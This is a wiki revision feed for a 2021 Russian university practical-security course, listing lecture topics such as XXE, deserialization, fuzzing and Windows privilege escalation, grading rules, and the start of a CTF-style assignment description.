		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=569"/>
		<updated>2021-05-25T11:21:43Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=568</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=568"/>
		<updated>2021-05-25T11:20:37Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=567</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=567"/>
		<updated>2021-05-25T11:15:22Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=566</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=566"/>
		<updated>2021-05-22T13:59:17Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=565</id>
		<title>Дополнительные главы практической безопасности (2021)/Задание LPE в Windows</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=565"/>
		<updated>2021-05-22T13:57:36Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В задании три флага (300, 700 и 1000 баллов), в общей сложности можно получить 2000 баллов. &lt;br /&gt;
Суть задачи в том, что вам необходимо повысить свои привилегии на win-системе и получить содержимое файлов-флагов. Для вашего удобства базовый OVA-образ доступен для скачивания. Образ, который используется в таске, отличается от базового только паролем админа и текстом в файлах с флагами.&lt;br /&gt;
&lt;br /&gt;
